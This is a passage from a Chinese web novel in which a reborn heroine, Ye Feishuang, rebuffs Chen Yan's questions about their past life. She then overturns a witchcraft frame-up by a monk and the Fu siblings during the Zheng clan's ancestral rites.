叶绯霜抬眼,直视他因为困惑和急切而显得有些赤红的眼睛,不说真也不说假,只道:“陈公子,你问我生儿育女这样的问题,不觉得失礼冒犯吗?” “之后我会赔礼,我现在只想要一个明白。叶绯霜,你告诉我,我前世到底是一个怎样的人?” “我不知道什么前世,无法回答你。” “叶绯霜!”陈宴骤然拔高声调,几乎是暴喝地喊出了她的名字。 他抓住她的手腕,眉头紧锁,下颌紧绷如弓弦,变缓变重的呼吸彰显出他在全力控制着他即将溃败的情绪。 他的声音像是从喉间生生挤出来的,沉哑干涩:“你为什么不和我说实话?你在躲什么?你在怕什么?你不是恨我吗?你报复我,来啊!我让你报复,我前世若对你不好,你尽可报复回来!” 矜贵自持的陈宴从未在人前显露过这样的不安和烦躁,他的风度几乎要在那些矛盾梦境的冲撞下消失殆尽。 他像是一只被囚在怪圈里的困兽,迷茫又无措,而叶绯霜是唯一可以让他获得解脱的人。 看着这样的陈宴,叶绯霜心底逐渐冒出一股诡异的爽感。 是的,爽感。 这种百思不得其解的困惑感,在前世曾困扰她数载。 她一直不明白陈宴为何要那么对她,而陈宴直到她死也没有给她一个明白。 现在,陈宴终于也体会到这种感觉了。 第185章 成太监了 叶绯霜认真地看着陈宴。 原来是这个样子的,叶绯霜想,前世她在陈宴眼中,原来是这样的。 哦不对,前世的她没有陈宴这样好的自持力和养气功夫,所以她只会看起来更崩溃失态。 自从知道私通之事是陈宴设计的后,她不止一次问他,为什么要那么对她。 但任凭她多么大声、多么歇斯底里,陈宴都只是八风不动、淡定从容地欣赏着她的崩溃。 等她发泄完,他会拍拍她的头,温声说:“好了,不要再问了。” 这样非但不会安抚到她,只会让她更焦躁难捱。 于是后来,叶绯霜也不再问了。 再过一段时间,她病了,更没有力气问了。 临死前,懒得问了,反正也不重要了。 他从未给她一个明白,连死时都带着不解。 陈宴前世把她折磨得身心俱疲,她为什么又要让他好受呢? 这种困惑焦躁、不安茫然,他该好好体会体会。 叶绯霜压下唇角,装模作样地叹了口气:“陈公子,你的问题我真的无法回答。” 陈宴让她告诉他,前世的他到底是怎样一个人。 这个问题她自己都没有答案。 她从未看清过他,如何知道他是一个什么样的人? 陈宴一直都死死地盯着她,自然也清楚地看到了她眼底那抹一闪而过报复般的快感。 于是,他也就明白,他的问题不会得到一个回答了。 这一刻,陈宴想,把她带走,关起来,直到她和他说了实话,再放了她。 但他也知道,不能这么做。 真这么做了,能不能得到答案尚且不知,他们的关系反正会彻底完了。 不能那样。 硬的,不能用。 软的,也没用。 一直憋闷在心口的那团气忽然就散了,化为了十足的挫败无力。 陈宴的呼吸逐渐变轻,缓缓松开了一直攥着她手腕的五指。 沉默许久后,他再次开口,声音低沉,带着前所未有的疲惫和无力,却又有执拗和坚定:“好,我求你你也不说,我不逼你。我定会弄清楚的,终于一日我会知道真相。叶绯霜,你躲得了一时,我看你躲不躲得了一世。” “请便。”叶绯霜干脆地转身,语调冷漠,“我也很好奇,陈公子还能做出什么荒诞的梦来。” 其实叶绯霜也是疑惑的。 绝子汤?陈宴梦见他喝了绝子汤? 她无法理解他为何这么做,她只是想,倘若是真的,那她前世一直不曾有孕,就不是她的问题,而是陈宴的问题? 嚯,那他的妻妾们可真是倒了大霉了。 估计都和她一样,以为生不出孩子是自己的问题呢。 她在个小院里,里头寥寥几个下人都会笑话她,说她是不会下蛋的母鸡。 他的妻妾们在陈家,那么大的宅院,那么多的下人,她们要面临的是怎样的困境? 她们为了给他绵延子嗣,要喝多少药,用多少法子,忍受多少煎熬? 好可怜啊,女人们。 为什么男人的行为,总是要女人付出代价呢? 宁衡见到叶绯霜出来,关切地问:“师父,陈宴和你说什么了?” 叶绯霜摇摇头:“一些琐事。” 宁衡“噢”了一声,也不多探究,而是说:“师父,我想去怀瑜书院上课。” 叶绯霜:“?” 她缓缓看向宁衡:“你认真的?” 宁衡郑重点头:“认真的,师父,你陪我一起好不好?你在我身边我安心。” “你不是最讨厌诗书纸笔了吗?怎的忽然要去上课了?” “我是亲王世子,将来要承袭爵位的,我不能当文盲啊。”宁衡振振有词,“读书能明理,明理就会变聪明,变聪明就能应对危机。” 叶绯霜算是看出来了,白溪寺那事,给宁衡真带来了不小的打击,让他彻底醒悟了。 这是真的发愤图强,要做一个文武双全的人了。 “我和父王说过了,父王也赞同。”宁衡努力说服叶绯霜,“师父,你也去上课好不好?姑娘家也要多读书的!怀瑜书院里也有姑娘的!” 叶绯霜拆穿他:“据我所知,怀瑜书院里的姑娘只有山长和几位夫子的女儿、孙女,而且她们平时不和郎君们一起上课。” “可姑娘家多读书总是没有坏处的,师父,你这年龄正是读书的好时候!以后嫁人了也不会被夫君蒙蔽!” 叶绯霜乐了,难为他想出这些理由。 “行,我去。”叶绯霜很好说话地答应了。 倒不是为了什么嫁人后不被夫君蒙蔽,就是单纯地想体验体验上书院是什么感觉。 前世日子太单一,这一世她什么都想尝试。 “不过我得等我们家宗族大祭之后才能去。” “嗯嗯,我知道。” 郑家的宗族大祭是大事,宁衡也听说了。 叶绯霜回府后,听小桃说:“姑娘,今儿明觉大师来了,在二房外边重新摆了阵法,说以后就不会闹鬼了。” 叶绯霜点头:“肯定的。” 毕竟她这装鬼的人不装了,肯定就不会闹鬼了。 叶绯霜惦记着明觉大师是逸真大师的师弟这重身份,想去找萧序打探打探情况,可是没找着人。 萧序院中的人说,他有急事被召回家了。 叶绯霜问:“他家远不远?” “挺远的。” 那就是一时半会回不来了,也罢。 可是让叶绯霜没想到的是,第二天,小桃就带来了最新消息:“昨晚府里又闹鬼了!” 叶绯霜:“哦?府里除了我竟然还有第二个鬼?” 小桃:“……” “怎么,大师的阵法不管用?” “这次不是二房,是五房在闹鬼!”小桃压低声音,“好像是秋姨娘的鬼魂!” 白溪寺的真面目败露后,不出意外地,秋姨娘和郑文宝都被郑丰给处置了。 郑文宝被她救了,秋姨娘死了。 听说是郑丰让人用白绫勒死的。 “昨儿撞鬼的人说,那女鬼的舌头可长了,都拖到地上了!” 叶绯霜:“哇,这舌头能直接上吊了。” 小桃继续道:“有人说秋姨娘死的时候,舌头就露出来老长,所以这女鬼肯定是秋姨娘!她死得冤枉,回来寻仇了!” “向谁寻仇?五叔?五婶?还是老太太?” 这个问题,在宗族大祭的前一天有了答案。 因为她五叔那天晚上,被阉了。 伺候郑丰的下人们口供非常一致,说他们昨晚都看见一个女鬼走到了郑丰床边,接着他们就失去了意识,等他们醒来后,血泊里的五老爷就已经成太监了。 叶绯霜:“嚯。” 这是一位正义的鬼。 第186章 是人是鬼 听小桃说完,叶绯霜让她把李珍、李珠叫了进来。 李珍和李珠是一对孪生姐妹。 年前,叶绯霜和宁衡聊起想买两个有功夫的女子放在身边,慢慢培养。 宁衡把这事告诉了璐王妃,璐王妃二话不说给了叶绯霜两个人,就是李珍和李珠。 她们的母亲是李氏暗卫出身,跟着璐王妃从陇西来到荥阳,后来生了这对姐妹,把她们也培养成了暗卫。 从赐的本家姓就能看出璐王妃很重视她们。 叶绯霜本来不好意思收,但璐王妃态度强硬,叶绯霜就没再客气。 有现成的可省事多了。 叶绯霜对她们低声吩咐了几句,姐妹二人连连点头。 靳氏和郑涟起来后,叶绯霜跟着爹娘去了五房。 刚进院子就听见了郑丰那撕心裂肺的惨叫声,让人毛骨悚然,光听都觉得疼。 此时的五房乌泱泱聚了一群人,已然乱成一锅粥了。 为了宗族大祭,长房的郑文煊回来了。三房回来的是卢氏的儿子、郑家三少爷,郑文朗。 叶绯霜对这位三哥倒是有点印象,就是印象不太好。 前世她被欺负时,郑文朗碰见许多次,但是他不煽动,也不制止,单纯地作壁上观。 有一次郑茜媛打她,她躲的时候瞧见了郑文朗,她叫他三哥,希望他能让郑茜媛住手。 但郑文朗只是淡淡地扫了她一眼,就从她身旁走过了,一个字都没说。 那个眼神,就和看见路边的一只猫、一条狗、一块石头是一样的。 完全的漠视。 这便是叶绯霜对郑文朗的印象——一位冷漠的看客。 此时,这位冷漠的看客正在发表见解:“五叔分明是让人害了,你们不去找真凶,反而在这里说些怪力乱神,真是可笑!” 郑文煊也说:“我也不信是什么鬼神作祟。” 跪在地上的仆从们砰砰磕头:“大公子,三公子,我们真没瞎说,的确有鬼啊!我们都瞧见了!” 卢氏正色问道:“昨晚在五老爷房中伺候的只有你们几个?还有旁人吗?” 一人答:“还有十六姨娘。” 很快,头上缠着纱布的十六姨娘就被带过来了。 她最惨,晕倒的时候脑袋磕到了床框上,磕出一个大口子来。 叶绯霜听五婶康氏说过,这位十六姨娘叫茹儿。 卢氏问茹儿:“你也瞧见鬼了?” 茹儿脸色煞白,神情恍惚,眼泪唰唰地往下掉:“瞧见了,是个女鬼,舌头长长的。” “一派胡言!”郑文朗一拍桌子,威胁道,“再不说实话,把你的舌头也割了!” 茹儿吓得一个激灵,眼泪流得更凶了:“我、我没瞎说,真的有鬼……” 叶绯霜一直都很同情茹儿。 这是个爱玩竹蜻蜓、得到一串糖葫芦就很高兴、还未及笄的小姑娘。 康氏轻声问:“茹儿,你瞧见那女鬼对老爷动手没?” 茹儿摸着脑袋上的纱布,讷讷道:“我没看见,我晕过去了。” 郑文朗冷笑:“怎么,你们一屋子的人都晕过去了?就这么巧?” “我是最先看见鬼的。”茹儿小声说。 据茹儿描述,她那时候坐在五老爷床边的脚榻上,刚想给五老爷掖掖被子,不料余光看见一个女鬼从门口飘了进来,她吓得惊叫出声,房中其他人看见后,也跟着大叫起来。 那女鬼面目可怖,长舌拖地,实在太可怕,所以她们才都活活吓晕了。 卢氏蹙眉问五房其他人:“你们听见她们叫没?” “听见了。我急忙赶过来,看见一屋子人都晕了,我家老爷他出了好多血……”康氏哽咽着擦泪,说不下去了。 郑茜霞和她生母七姨娘也点头:“听见了。” 但是她们后赶过来的都没看见所谓的女鬼。 郑文朗还是不信这些人的说辞,对卢氏道:“母亲,看来不用刑这些人是不肯说真话了。” 卢氏点头,着人把几个下人和茹儿带出去,板子伺候。 茹儿吓得瘫坐在地上,不住地颤声说:“我说的都是真的,别打我……” 康氏不忍,替茹儿向卢氏求情:“三嫂,茹儿就算了,她就是个孩子心性,她懂什么呢?她一直都是个老实的,我替她作保。” 茹儿瘦瘦小小的一个,看着特别单薄,丝毫不让人怀疑两板子下去她就能咽了气。 卢氏也是有女儿的,茹儿还没她女儿大,卢氏看着瑟瑟发抖的茹儿也觉得可怜,于是便饶了她。 茹儿浑身瘫软,叶绯霜上前扶了她一把,让她坐到椅子里。 茹儿哽咽着说:“多谢五姑娘。” 她记得,这位五姑娘给过她一串糖葫芦。 康氏关切地问她头还痛不痛。茹儿心有余悸,朝康氏那边靠了靠,低声唤她:“夫人……” 康氏握住她的手:“没事了,莫怕。” 仆从们挨板子的声音传来,茹儿吓得缩了起来,仿佛那板子是打在她身上的。 三十板子下去,仆人们一个改口的都没有,还都保持原来的说辞,说是女鬼干的。 本来不信鬼神的一些人也开始怀疑了,莫非真是秋姨娘化鬼了? 暂时没个定论,卢氏让人把仆人们关进柴房里,等宗族大祭后再审。 给郑丰看病的大夫们终于出来了,说郑丰的命是保住了,但子孙根是接不回去了,这辈子不能人道了。 康氏捂着脸大哭起来。 郑涟和郑文煊他们进去看了郑丰,出来后脸色很差。 “爹爹,五叔不好么?”叶绯霜低声问。 郑涟叹了口气,摇摇头:“怕是要不好。” 郑丰自打过了年就一直在生病,现在又添了这么一个大祸,当下是性命无虞,日后怎么样就难说了。 从正房出来后,叶绯霜听见郑文朗在身后叫自己:“五妹妹。” 叶绯霜扬眉,前世不给自己一个正眼的人,这一世倒是主动来找她搭话了? 她转身,向来人点头:“三哥哥。” 郑文朗走到她面前,朝她一笑,温和地问:“五叔这事,五妹妹怎么看?” 叶绯霜眨了眨眼:“三哥哥为何问我?” “因为五妹妹是个聪明人啊。”郑文朗说,“我刚才见五妹妹一直在看十六姨娘,莫非在怀疑她?” 第187章 不祥之兆 “并没有。”叶绯霜摇头,“我看她是因为觉得她很可怜。她和我同龄,却被五叔……唉。” 她又说:“这件事,大哥哥和三哥哥这样的英才都没有定论,我又能看出什么呢?我觉得,可能真的有鬼吧。” 她还适时地打了个寒颤。 “哦?五妹妹心思细密,连前头的四婶跟人私通都察觉了,竟看不出今日之事?” 看来卢氏已经把当初秦氏是如何倒台的告诉郑文朗了。 叶绯霜认真说:“我是四房的人,当然能察觉出四房的不对劲。这次五房的事,三哥哥应该去问四姐姐才对啊。” 郑茜霞就在不远处,但郑文朗并没有去问她的意思,连往郑茜霞那边看一眼都没有。 叶绯霜忽然明白了。 郑文朗不光是个三白眼,还是个势利眼。 前世他看不上自己,所以不会给自己一个眼神。 这一世觉得她有点用处,所以来主动找她说话了。 而他现在对郑茜霞的态度,就和前世对自己的态度是一样的。 郑文朗一直朝她笑着,想表现出温柔和善的一面。 但是他下三白眼,面容阴鸷,这抹笑只会让他看起来更阴暗,让叶绯霜对他的观感更差。 叶绯霜不再和他多说,颔首道:“三哥哥,我先走了。” 郑文朗眯眼望着她离开的背影,舌头抵在后槽牙上,意味不明地哼笑了一声。 郑文煊此时出来,问:“三弟,在这儿做什么?” 郑文朗凑近郑文煊:“大哥,我想把五妹妹……” 郑文煊蹙眉:“她未必愿意。” “试试呢。”郑文朗说,“咱们家聪明的姑娘不多,不能浪费了。反正她都和陈三退婚了,总要找下家的。” 回到玉琅阁后,听小桃说,刚才又来了一拨人在府中搜查,想要找出装神弄鬼之人。 叶绯霜点头:“我知道了。” 自打罗妈妈撞鬼后,隔三岔五就有人来搜一趟。 昨晚五房又闹了鬼,还把郑丰害了,这不搜才不正常。 当然,还是什么都没搜出来。 所以许多人都相信郑丰是被秋姨娘给报复了。 小桃问:“姑娘,你觉得会是闹鬼吗?” “当然不是。”叶绯霜说,“要是世上真有鬼,那些恶人也不会活这么久了。” 有时候,她觉得世上有鬼也挺好的,还能有仇报仇有冤报冤。 小桃挠了挠头:“那五老爷是被谁害的呢?” 然而并没有人回答她这个问题。 第二天宗族大祭,天还没亮叶绯霜就被叫起来了。 换上厚重的祭服,梳头、用膳,然后出门。 马车在郑府外边停了一串,各房各自上车。 要先去祖坟,再去家庙,最后回祠堂。 浩浩荡荡一行车马往城外去,场面十分宏大,惹来百姓们驻足观看。 这是叶绯霜第二次来祖坟,上次是来祭奠二伯和杨姨娘。 叶绯霜往二房的坟头那边张望了一眼。 脑中不禁响起上次和杜知府聊天时说的话。 “我想借杨姨娘的死在郑府闹一通。如果我扮鬼,怎样扮更像呢?” 杜知府回答:“六哥给我讲过,杨姨娘死之前被敲断了双腿,烫哑了喉咙,挑了手筋,脸……也被毁容了。” 叶绯霜蹙眉:“为什么要这么折磨人呢?” “因为杨姨娘不光貌美,还有一把好嗓子,会唱歌会弹琵琶还会跳舞,惹人嫉妒。”杜知府灌了杯酒,“相比之下,老秦氏一无是处,所以毁掉了杨姨娘。” “二伯那时该多难过。” 她当初看见娘亲被掌嘴,看见爹爹挨打,她就恨得想杀人了。 二伯那时候比她还小,却要眼睁睁地看着母亲被那样折磨,唉。 快到晌午时,一行人浩浩荡荡去了家庙。 家庙叶绯霜也不陌生,毕竟她当初来这里见过秦氏。 只是这次去的是主祠,并不是关押秦氏的那个小房间。 叶绯霜看见了历任成国公的画像。 纵然如今的荥阳郑氏在走下坡路,不复往日荣光,但她依然对这些祖辈们满怀敬意。 她也好想像他们一样,靠自己的双手开辟出一道光,恩泽后人。 然后青史留名,名垂千古。 到傍晚,回了郑府,去祠堂。 叶绯霜看向女眷最前边的太夫人,想她实在太厉害了,一把年纪,折腾这么一天了,竟然还能挺住。 进了祠堂,开启一系列复杂的流程。 其实大家全都又累又饿,但没人敢说,就连疲态都不敢露出来,生怕冒犯了先祖。 好在快结束了。虽然大祭还要持续好几天,但后边几天不会像今天这么累了。 不少人都开始想,回去后吃点什么。虽然说是这几天要茹素,但偷偷吃点荤腥也没人知道。 这些天也要忌房事,但让美婢们按按筋骨松快松快还是可以的。 正美美想着,可谁知,最后几个头刚嗑完,意外发生了。 供桌上的一尊白瓷观音坐像,竟然流泪了。 还是血泪。 而香炉里刚刚点燃的三根供香,也齐齐断了。 太夫人最先惊呼出声,若不是被族长眼疾手快地扶住,怕是要栽地上了。 其余族人也面色大变,犯困的不困了,肚饿的也不饿了,齐齐傻眼了。 观音垂泪,供香断裂,这可是大凶之兆! 联系着郑府最近的闹鬼传闻,大家都觉得惊骇,十分不安。 有人颤声说:“莫非我们郑氏一族被诅咒了?” “是不是族中有了妖邪,所以先祖在给我们示警?” “这,这……”太夫人面色巨变,亟亟道,“快去宁国寺请大师来!” 祠堂大门此时再次打开,一个僧袍和尚缓步走了进来,口中道:“不必去请了,贫僧可破此法。” 有人认出来了他:“明觉大师?” 明觉捻着佛珠走进来,口中道了声佛号。 叶绯霜打量着这位逸真大师的师弟。 他看着比逸真大师年轻了不少,应该四五十岁。个子高、身量宽、国字脸,看着很是严肃威仪。 族长忙问:“敢问大师,为何会有此异象?” 明觉没有回答,而是走到观音像前,轻轻拭去了观音面上的血泪。 重新上了供香,他才转过身来,在众人的凝视中说:“我先前便来过郑府,察觉到府中有邪气。经过几日,这股邪气愈发浓郁了。” 太夫人忙问:“怎会有邪气呢?” 明觉道:“因为有人用了厌胜之术。此法可夺人气运,改人命格,产生祸端。” 话音一落,不少人面面相觑,然后看向了四房。 毕竟,先前府中就一直在传,说四房使了旁门左道的法子,夺了旁人的气运。 如今大师都这么说了,看来是真的了! 立刻有沉不住气的指着郑涟问:“是不是你们!” 第188章 搜出证据 有人开了头,其他人立刻跟着指责起来: “怪不得你们那一房日子越来越好,合着都是夺了旁人的气运!” “你们真是丧尽天良!” 郑涟上前一步,挡在妻女前边,他的声音不大却有力:“众位急什么?有谁说了是我们做的?” “除了你们还有谁!”这话是傅闻达说的。 他不能参加郑家的宗族大祭,所以他是跟在明觉后边进来的。 傅闻达继续道:“一定是你们在捣鬼!自打叶绯霜回来后,府中发生的事情,还需要我给你们细数吗?” 傅湘语捂着嘴,眼中晶莹含泪:“外祖母现在还卧床不起,五舅舅又遭了这么大的罪。老天爷,难道有人想毁了郑氏一族吗?” 叶绯霜听了这话倒是乐了:“傅姐姐,这里都是自家人,也别装了。祖母到底是为什么病的,这里谁不知道?她自己做了恶事,倒怪起气运来了?” 傅湘语盯着叶绯霜,恶狠狠道:“即便外祖母有错,大病两年受的罪也该够了吧?这两年一直有大夫为外祖母尽心医治,可外祖母就是丝毫不见好。可见是有人别有用心,根本不想让外祖母康复!” 和“有人想要夺整个郑氏一族的气运”比起来,郑老太太当初干的那些缺德事,好像真不算什么了。 毕竟在天大的错处面前,曾经大错也成小错了。 更何况,都是两年前的事了,人们心中的不满早就淡了。 “都吵什么?”族长发话了。 他先训斥了一开始那几个不由分说就埋怨四房的人:“没有定论的事,莫要胡说。” 又安抚郑涟:“老四,你也别怪他们嘴快,咱们听大师的。” 明觉大师左手转着佛珠,右手竖掌在胸前,闭着眼睛,口中喃喃诵经,对于旁人的争执充耳不闻,一副世外高人的模样。 太夫人谦问道:“敢问大师,我们郑家到底中了什么邪术?” 明觉又念了一会儿经,等众人都焦躁不安了,才开口:“想必众位施主并不陌生,正是巫蛊。” 众人大骇,前朝就出过巫蛊之祸,闹得朝野动荡举国不安,死伤数万人。 这可是朝廷明令禁止的禁术。 太夫人气得老脸涨红,环视一圈族人,拐杖重重在地上敲了敲,怒道:“有人竟敢行此祸事,实乃忘宗背祖!抓出来后,必要严惩!” 立刻有人附和:“此人为一己之私而至全族于不顾,就不配为郑家人!定要将此人逐出宗族,我们郑家没有此等包藏祸心的后辈!” 族长深吸一口气,冷喝道:“是谁做的,自己站出来!” 众人你看我我看你,并没有人站出来。 于是,大家别有深意的目光又落到了四房的三人身上。 靳氏一颗心噗通噗通直跳,冒出种不好的预感。 郑涟握紧她的手,给了她一个安抚的目光。 族长又说:“自己站出来,还能从轻发落。若是被揪出来,那便要重罚了!” 傅湘语一脸义愤填膺:“叶绯霜,你还要执迷不悟吗?” “傅姐姐怎么就认定是我了呢?”叶绯霜反问,“你有证据吗?” “真是不见棺材不掉泪。”傅闻达朝明觉一拱手,“还请大师抓出佞人,还郑家一个清净太平!” “对,把使巫蛊的人揪出来!” “逐出宗族!” 起哄的都是旁支,本家几房倒是安静得很。 郑文煊蹙眉看着叶绯霜。 卢氏想说话,但是被郑文朗按住了。 郑文朗似笑非笑,看向叶绯霜的目光中有打量,有考究。 康氏则满脸担忧,心焦得很。 明觉大师念了声“阿弥陀佛”,才幽幽道:“好吧,那贫僧便顺应天意,铲奸除佞。” 他身后的小和尚递给他一个包袱,包袱里边装了一个铜盘,一个金刚杵。 把金刚杵放在铜盘上后,金刚杵竟自行飞速旋转起来。 过了许久,一头圆一头尖的金刚杵才停下来,尖的那头指向了西南方。 明觉大师说:“秽物在西南方。” 傅闻达冷笑着道:“我没记错的话,玉琅阁便在西南方吧?” 这话一出,满座皆惊。 太夫人怒道:“来人,给我去玉琅阁搜!哪怕掘地三尺,也要把脏东西给我搜出来!” 她看向四房的目光满是失望。 她的确很待见靳氏,也很喜欢叶绯霜,但这点喜欢和整个宗族的安危比起来,就太微不足道了。 曾经越喜欢,现在就越失望。 如若最后证明真是四房所为,她绝不姑息! “对,搜,必须好好搜。”郑文朗忽然说话了,叫了几个仆从的名字,“你们跟着一块儿去搜!” 郑文煊心领神会,也吩咐了几个人跟着一起去。 叶绯霜有些意外地看向郑文朗。 他此举意在监督,怕有人借着搜查的名义动手脚。 她这势利眼三哥原来还有点好心。 郑文朗依然是那副似笑非笑的阴鸷表情。 祠堂里的空气仿佛凝固,让人觉得压抑而憋闷。 烛火在地上投出重重暗影,宛如吃人的巨口。 众人小声私语,香灰一点点燃尽。 傅湘语的目光宛如阴毒的蛇,阴恻恻地缠着叶绯霜。叶绯霜忽然抬脸看向她,两人的眼神撞在了一起。 傅湘语露出一个得意又畅快的笑容,仿佛在宣告叶绯霜的死期。 不料叶绯霜竟没有任何死到临头的惊慌,也朝她挑衅地笑了一下。 傅湘语心中冷嗤,暗道看你一会儿还笑不笑得出来。 终于,祠堂大门再次打开,一行人匆匆走进来,高喊着:“找到了!找到了!” 为首那人捧着一个木匣子,木匣子上边贴满了写了卐字的符纸。 “这是从玉琅阁,五姑娘的闺房中找到的!” 众人倒没有太多惊讶,毕竟早有预料。 太夫人指着叶绯霜,指尖颤抖:“你……你竟然……” 傅闻达立刻道:“叶绯霜,物证在此,你难道还要抵赖?” 郑文朗收了那一脸似笑非笑的表情,正色问了一句:“真是从五妹妹房中搜到的?” 他派去的仆从答:“是,我们亲眼看见的。” 意思就是,没人捣鬼,确确实实是从五姑娘房中搜到的。 叶绯霜蹙眉看向那个匣子,脸上没有震惊与害怕,而是疑惑和不解,仿佛不知道这个匣子为何会被带来这里。 族长怒道:“来人,把四房这三人拿下!今日便在列祖列宗面前,行宗规,铲奸恶!” 第189章 形势陡转 叶绯霜:“不是……” “把他们逐出郑家!族谱除名!” “不能轻易让他们死了,得把他们的巫术先破了,不然咱们就要倒霉了!” 太夫人问明觉:“敢问大师,这等恶毒巫术要怎样才能解?” 明觉道:“把施术之人处以火刑,此法可破。” 叶绯霜:“那个……” “对,烧死他们!” “这样恶毒的人就该灰飞烟灭,死后也不能轮回!根本就不配当人!” 屡次被打断的叶绯霜没了耐心,扬声喝了一句:“能不能闭嘴?” 她声音又清又亮,一下子就把满堂嘈杂给压过去了。 傅闻达看她还在嚣张,摇了摇头:“叶绯霜,你真是冥顽不灵,你简直……” 叶绯霜抬手指他:“你也闭嘴!听不懂人话?” 傅闻达鼻子里发出一声冷嗤,在他看来,叶绯霜无疑在做困兽之斗。 “都搜出物证了,你还想做什么?”太夫人怒极了,“五女,我真是看错你了!” 叶绯霜则道:“太夫人别急,您没看错。” 她上前几步,问明觉:“明觉大师,敢问您,这匣子里装的是什么?” 明觉的眼睛很大,目光迥然有神,看起来倒真像位堂堂正正、匡扶正义的大师。 他不急不慢地说:“自然是蛊物。” “听闻大师法力高深,那大师可否算出是什么样的蛊物?” 明觉食指点在匣子上,口中念念有词,片刻说:“里边有六个偶人。” 六个?有人算了算,立刻说“:莫非是老太太,大爷,三爷,五爷,六爷和七爷?” “是了,这不正好六个?除了二爷和她爹之外,其他人她是一个都不想放过啊!” “老太太和五爷已经遭了罪,这法子看来很灵验,实在太可怕了!” 靳氏忙道:“不可能!这东西不可能是霜儿的,里边一定有误会!我们没有做过这种事!” “那么多人看见了,就是从你女儿房间搜出来的,不是她的是谁的?” 靳氏摇头:“不可能,有人陷害我们……” “这是我的东西,娘亲。”叶绯霜打断了靳氏的话。 靳氏惶然瞪大眼:“霜儿,你……” “我只是不理解,为何……算了。”叶绯霜摇摇头,对族长说,“您打开瞧瞧吧。” 族长愤然撕开匣子上的符纸,将匣子打开。 “这……”族长手一抖,匣子掉在了地上,里边的东西散了出来。 都是纸,哪有什么所谓的偶人? 一直老神在在的明觉大师脸上都出现了错愕之色,下意识看向傅闻达。 傅氏兄妹也惊了,面面相觑。 怎么会? 偶人是他们亲手放进这个匣子里的,盒子上的符纸也是他们亲手贴上去的,让可靠的人借着搜查扮鬼之人的机会放进了玉琅阁里。 怎么就变了呢? 叶绯霜在众人的目瞪口呆中蹲下,慢慢把地上的纸张收起来。 “这是我年前从宁国寺求的三卷经书,请逸真大师开了光,还盖了佛印,放在匣子里供着,祈求个家宅平安。” 她把收好的匣子抱起来,看向明觉,满脸无语:“怎么到明觉大师口中,就成了秽物呢?我记得您也是宁国寺出来的,怎的还认不出自家寺院的经书呢?” 顿时,众人看向明觉大师的目光中写满了怀疑。 这到底是大师,还是什么江湖骗子? 他刚才可信誓旦旦地算出了方位,又说匣子里边是偶人,结果却是经文。 明觉还在嘴硬:“贫僧算的自然不会有错。想必是行蛊之人算到了会有此一劫,提前把秽物转移了。” “呦,那我可真厉害。”叶绯霜乐了,“我算出了会有此一劫,大师却没算出我已将秽物转移,这证明我比大师法力高深啊!那大师退位让贤吧,以后明觉大师就是我了!” 郑文朗:“噗。” 然后忙对瞪着自己的卢氏拱拱手:“对不住母亲,没忍住。” 傅闻达怒道:“叶绯霜,你太无礼了,你竟敢对大师不敬!” 叶绯霜瞥他一眼:“傅闻达,你太无礼了,你竟敢对本大师不敬!” 这下连一贯严肃的郑文煊嘴角都没忍住抽了抽。 祠堂内顿时乱成了一锅粥,刚才还抨击四房的人转过头来抨击明觉,只是没有说得很难听。 明觉脸皮是真的厚,脸不红气不喘的,还闭着眼睛念经呢。 “贫僧不会算错。”同时也将死鸭子嘴硬贯彻到底。 叶绯霜不和他玩了,而是给他递了台阶:“说起来,大师刚才算出蛊物在西南方,我记得西南方除了玉琅阁,还有鼎福居呢。” 众人闻言,面色大变,谁不知道鼎福居是郑老太太的住处? “叶绯霜,你休要血口喷人!”傅湘语寒声斥道,“你还想说外祖母在行巫蛊之术吗?你实在不孝!” “我没说外祖母啊。鼎福居除了外祖母,不是还有你们兄妹二人一起住吗?” “我和哥哥怎么会害外祖母!” 叶绯霜眨眨眼:“谁知道呢,你以为你是什么好东西?” 傅湘语面色涨红:“你……” “别吵了!”太夫人的拐杖点了点地,下了令,“那就去鼎福居搜一趟!” 族长加了一句:“莫要吵到老太太安养。” 傅湘语还想再说,但是被傅闻达拽住了。 傅闻达朝她摇摇头,让她稍安勿躁。 是了,鼎福居外边那么多暗卫,守得和铁桶似的,不会有人可以进去动手脚的。 傅湘语不再说话,只一味地瞪着叶绯霜。 但是出乎傅家兄妹意料的是,还真搜出东西了。 也是一个匣子,上边也贴满了卐字符。 傅闻达的眼皮子狠狠跳了跳,心忽然提到了嗓子眼,出了一身白毛汗,整个人被一股不好的预感笼罩着。 怎么会……这…… 这次不用人说,族长就接过匣子,利索地打开。 太夫人看到里边的东西后,惊呼一声,两眼一翻就往后倒去,幸好被人扶住了,否则真要摔出个好歹来。 其他人胆子小的,也都纷纷惊叫起来。 只见那盒子里,装的真是白色的偶人。 不多不少,正好六个。 每一个上边都写着名字、生辰八字,还扎满了银针。 只是没了郑老太太,多了郑涟。 族长面色铁青,怒问:“这是从何处搜出来的?” 回话的人指着傅闻达:“从傅公子的衣柜里!” 第190章 自食其果 形势陡转,满堂哗然。 “不,不可能!”傅闻达脸上的血色霎时间褪得干干净净,连连摇头,“这不是我的,我没有做过!” 傅湘语也惶然道:“太夫人,族长,各位族舅,这里边一定有误会!我哥哥被人害了!” 可是大家伙哪里会听他们的辩解? 哦,四房搜出来就是证据确凿,鼎福居搜出来就是让人害了?哪有这样的双重标准。 叶绯霜朝明觉大师一拱手:“还真有啊?看来大师算得是挺准的,是我误会大师了,大师法力高深。” 明觉镇定自若:“贫僧不会算错,说西南方有秽物,那就一定有。” 开玩笑,他怎么可能把自己的英明败在郑家这一桩小事上。 要是民众都说他是假大师,他以后还靠什么混饭吃? 在保别人和保自己之间,肯定保自己啊。 所以明觉此话一出,便是将傅闻达的罪名给坐实了。 傅闻达闻言,登时面色铁青,怒斥道:“大师,这不是我的东西,你是知道的!” “贫僧如何得知?” 傅闻达为了替自己脱罪,什么都不顾了:“这偶人明明是你教我们做的!匣子上的卐字符还是你亲手画的!我们根本没有行巫蛊!大师,你知道的啊!” 明觉一甩袖子,变了脸色:“施主,我看你风度堂堂,不曾想你竟是个宵小之辈!为了替自己脱罪,还要拉贫僧下水!贫僧只是前几天给你郑府做法时和施主有过一面之缘,如何教施主做过那些事?施主莫要含血喷人!” 傅闻达被这巨变打得措手不及,本来安排得好好的,不知道哪里出了岔子,竟把火烧到了自己身上! 这不是别的,这可是巫蛊,所有人都闻之色变的巫蛊,有灭族之祸的巫蛊! 要是真让郑氏族人觉得自己行了巫蛊,那自己还有活路吗? 傅闻达脑中一片乱麻,理智被骤变冲散,让他失了分寸。 于是脱口便出:“你肯帮我们做这些是因为我外祖母给了你银子!足足五万两!” 他吼完,满堂寂静。 